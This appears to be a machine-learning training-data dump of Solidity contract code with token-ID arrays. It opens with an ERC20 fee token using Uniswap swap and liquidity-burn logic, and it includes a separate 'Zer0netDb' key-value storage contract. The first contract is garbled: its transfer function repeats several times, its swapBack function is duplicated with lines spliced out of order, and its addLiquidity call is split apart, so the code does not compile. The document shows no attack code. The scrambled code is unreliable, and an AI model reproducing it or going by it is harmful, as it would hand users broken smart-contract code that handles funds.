autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
address(this),
tokenAmount,
deadAddress,
block.timestamp
);
}
uniswapV2Router.addLiquidityETH{value: ethAmount}(
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
}
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
}
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
(success,) = address(devWallet).call{value: ethForDev}("");
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool){
lastLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
pair.sync();
emit AutoNukeLP();
return true;
}
function autoBurnLiquidityPairTokens() internal returns (bool){
lastLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
pair.sync();
emit AutoNukeLP();
return true;
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
pair.sync();
emit ManualNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
pair.sync();
emit ManualNukeLP();
return true;
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
} | 16,075,360 | [
1,
14925,
77,
17,
4819,
471,
30959,
17,
3350,
5349,
7990,
471,
3152,
431,
17704,
1317,
628,
1656,
281,
471,
943,
2492,
3844,
1707,
6138,
716,
279,
5859,
13667,
312,
6388,
5574,
18,
5502,
7412,
358,
4259,
6138,
3377,
506,
3221,
358,
279,
4207,
7412,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
605,
9383,
1423,
353,
4232,
39,
3462,
16,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
1071,
11732,
640,
291,
91,
438,
58,
22,
8259,
31,
203,
565,
1758,
1071,
11732,
640,
291,
91,
438,
58,
22,
4154,
31,
203,
565,
1758,
1071,
5381,
8363,
1887,
273,
1758,
12,
20,
92,
22097,
1769,
203,
203,
565,
1426,
3238,
7720,
1382,
31,
203,
203,
565,
1758,
1071,
13667,
310,
16936,
31,
203,
565,
1758,
1071,
4461,
16936,
31,
203,
377,
203,
565,
2254,
5034,
1071,
943,
3342,
6275,
31,
203,
565,
2254,
5034,
1071,
7720,
5157,
861,
6275,
31,
203,
565,
2254,
5034,
1071,
943,
16936,
31,
203,
377,
203,
565,
1426,
1071,
12423,
38,
321,
1526,
273,
638,
31,
203,
565,
2254,
5034,
1071,
12423,
38,
321,
13865,
273,
12396,
3974,
31,
203,
565,
2254,
5034,
1071,
1142,
48,
84,
38,
321,
950,
31,
203,
377,
203,
565,
2254,
5034,
1071,
11297,
38,
321,
13865,
273,
5196,
6824,
31,
203,
565,
2254,
5034,
1071,
1142,
25139,
48,
84,
38,
321,
950,
31,
203,
203,
565,
1426,
1071,
8181,
382,
12477,
273,
638,
31,
203,
565,
1426,
1071,
1284,
7459,
3896,
273,
629,
31,
203,
565,
1426,
1071,
7720,
1526,
273,
638,
31,
203,
377,
203,
565,
1426,
1071,
7412,
6763,
1526,
273,
638,
31,
203,
203,
565,
2254,
5034,
1071,
30143,
5269,
2954,
281,
31,
203,
565,
2254,
5034,
1071,
30143,
3882,
21747,
14667,
31,
203,
565,
2
]
|
pragma solidity ^0.4.23;
/*******************************************************************************
*
* Copyright (c) 2018 Decentralization Authority MDAO.
* Released under the MIT License.
*
* ZeroDb - An eternal database, providing a sustainable storage solution
* for use throughout the upgrade lifecycle of managing contracts.
*
* Version 18.7.17
*
* Web : https://d14na.org
* Email : [email protected]
* Github : https://github.com/d14na/zerodb.git/
*/
/*******************************************************************************
* Owned contract
*/
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/*******************************************************************************
* Zer0net Db Contract
*/
contract Zer0netDb is Owned {
/* Initialize all storage types. */
mapping(bytes32 => address) private addressStorage;
mapping(bytes32 => bool) private boolStorage;
mapping(bytes32 => bytes) private bytesStorage;
mapping(bytes32 => int256) private intStorage;
mapping(bytes32 => string) private stringStorage;
mapping(bytes32 => uint256) private uIntStorage;
/**
* @dev Only allow access from the latest version of an 0racle contract
* within the Zer0net after deployment.
*/
modifier onlyAuthBy0racle() {
/***********************************************************************
* The owner is only allowed to set the authorized contracts upon
* deployment, to register the initial contracts, afterwards their
* direct access is permanently disabled.
*/
if (msg.sender == owner) {
/* Verify owner's write access has not already been disabled. */
require(boolStorage[keccak256('owner.auth.disabled')] != true);
} else {
/* Verify write access is only permitted to authorized accounts. */
require(boolStorage[keccak256(msg.sender, '.has.auth')] == true);
}
_; // function code is inserted here
}
/***************************************************************************
* Initialize all getter methods.
*/
/// @param _key The key for the record
function getAddress(bytes32 _key) external view returns (address) {
return addressStorage[_key];
}
/// @param _key The key for the record
function getBool(bytes32 _key) external view returns (bool) {
return boolStorage[_key];
}
/// @param _key The key for the record
function getBytes(bytes32 _key) external view returns (bytes) {
return bytesStorage[_key];
}
/// @param _key The key for the record
function getInt(bytes32 _key) external view returns (int) {
return intStorage[_key];
}
/// @param _key The key for the record
function getString(bytes32 _key) external view returns (string) {
return stringStorage[_key];
}
/// @param _key The key for the record
function getUint(bytes32 _key) external view returns (uint) {
return uIntStorage[_key];
}
/***************************************************************************
* Initialize all setter methods.
*/
/// @param _key The key for the record
function setAddress(bytes32 _key, address _value) onlyAuthBy0racle external {
addressStorage[_key] = _value;
}
/// @param _key The key for the record
function setBool(bytes32 _key, bool _value) onlyAuthBy0racle external {
boolStorage[_key] = _value;
}
/// @param _key The key for the record
function setBytes(bytes32 _key, bytes _value) onlyAuthBy0racle external {
bytesStorage[_key] = _value;
}
/// @param _key The key for the record
function setInt(bytes32 _key, int _value) onlyAuthBy0racle external {
intStorage[_key] = _value;
}
/// @param _key The key for the record
function setString(bytes32 _key, string _value) onlyAuthBy0racle external {
stringStorage[_key] = _value;
}
/// @param _key The key for the record
function setUint(bytes32 _key, uint _value) onlyAuthBy0racle external {
uIntStorage[_key] = _value;
}
/***************************************************************************
* Initialize all delete methods.
*/
/// @param _key The key for the record
function deleteAddress(bytes32 _key) onlyAuthBy0racle external {
delete addressStorage[_key];
}
/// @param _key The key for the record
function deleteBool(bytes32 _key) onlyAuthBy0racle external {
delete boolStorage[_key];
}
/// @param _key The key for the record
function deleteBytes(bytes32 _key) onlyAuthBy0racle external {
delete bytesStorage[_key];
}
/// @param _key The key for the record
function deleteInt(bytes32 _key) onlyAuthBy0racle external {
delete intStorage[_key];
}
/// @param _key The key for the record
function deleteString(bytes32 _key) onlyAuthBy0racle external {
delete stringStorage[_key];
}
/// @param _key The key for the record
function deleteUint(bytes32 _key) onlyAuthBy0racle external {
delete uIntStorage[_key];
}
}
| Initialize all storage types. */* @dev Only allow access from the latest version of an 0racle contract within the Zer0net after deployment./********************************************************************** The owner is only allowed to set the authorized contracts upon deployment, to register the initial contracts, afterwards their direct access is permanently disabled./ | modifier onlyAuthBy0racle() {
if (msg.sender == owner) {
require(boolStorage[keccak256('owner.auth.disabled')] != true);
require(boolStorage[keccak256(msg.sender, '.has.auth')] == true);
}
| 5,378,771 | [
1,
7520,
777,
2502,
1953,
18,
342,
225,
5098,
1699,
2006,
628,
326,
4891,
1177,
434,
392,
374,
16873,
6835,
1377,
3470,
326,
2285,
264,
20,
2758,
1839,
6314,
18,
19,
1021,
3410,
353,
1338,
2935,
358,
444,
326,
10799,
20092,
12318,
6314,
16,
358,
1744,
326,
2172,
20092,
16,
23838,
3675,
2657,
2006,
353,
16866,
715,
5673,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
9606,
1338,
1730,
858,
20,
16873,
1435,
288,
203,
3639,
309,
261,
3576,
18,
15330,
422,
3410,
13,
288,
203,
5411,
2583,
12,
6430,
3245,
63,
79,
24410,
581,
5034,
2668,
8443,
18,
1944,
18,
9278,
6134,
65,
480,
638,
1769,
203,
5411,
2583,
12,
6430,
3245,
63,
79,
24410,
581,
5034,
12,
3576,
18,
15330,
16,
2418,
5332,
18,
1944,
6134,
65,
422,
638,
1769,
203,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/5/0xAb7a8E2B7D00ebA2186DA8aA04Ce288DeB27A081/sources/project:/contracts/source/tokens/ERC721/CryptopiaERC721.sol | @dev Get base token URI @return Base of location where token data is stored. To be postfixed with tokenId | function getBaseTokenURI()
public virtual override view
returns (string memory)
{
return _baseTokenURI;
}
| 11,596,302 | [
1,
967,
1026,
1147,
3699,
327,
3360,
434,
2117,
1625,
1147,
501,
353,
4041,
18,
2974,
506,
1603,
12429,
598,
1147,
548,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
